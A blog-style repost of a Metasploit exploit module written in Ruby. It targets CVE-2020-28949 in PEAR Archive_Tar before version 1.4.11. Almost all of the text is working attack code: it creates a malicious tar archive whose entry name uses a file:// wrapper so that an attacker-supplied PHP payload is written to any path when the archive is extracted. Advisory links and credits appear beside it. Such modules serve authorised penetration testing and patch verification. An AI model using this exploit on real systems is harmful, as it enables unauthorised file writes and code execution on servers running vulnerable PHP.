Sunday, January 31, 2021

PEAR Archive_Tar Arbitrary File Write

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/tar'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::FILEFORMAT

def initialize(info = {})
super(
update_info(
info,
'Name' => 'PEAR Archive_Tar < 1.4.11 Arbitrary File Write',
'Description' => %q{
This module takes advantages of Archive_Tar < 1.4.11's lack of validation of file stream wrappers contained
within filenames to write an arbitrary file containing user controlled content to an arbitrary file
on disk. Note that the file will be written to disk with the permissions of the user that PHP is
running as, so it may not be possible to overwrite some files if the PHP user is not appropriately
privileged.
},
'License' => MSF_LICENSE,
'Author' =>
[
'gwillcox-r7', # Metasploit module
'xorathustra', # Original advisory and PoC
],
'References' =>
[
['URL', 'https://github.com/pear/Archive_Tar/issues/33'],
['URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-28949'],
['CVE', '2020-28949']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
'DisablePayloadHandler' => true
},
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
['Archive_Tar < 1.4.11', {}]
],
'Privileged' => false,
'DisclosureDate' => '2020-11-17'
)
)

register_options([
OptString.new('FILEPATH', [true, 'The full path to the file to write on the target.', '/tmp/msf.php'])
])
end

def exploit
# Create malicious tar archive
tarfile = StringIO.new
Rex::Tar::Writer.new tarfile do |tar|
tar.add_file "file://#{datastore['FILEPATH']}", 0o644 do |io|
io.write payload.encoded
end
end
tarfile.rewind
file_buffer = tarfile.read

print_status "Writing file: #{datastore['FILENAME']} (#{file_buffer.length} bytes) ..."
file_create file_buffer
end
end
 

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Thanks for everything Templateism - You should have written the code a little more complicated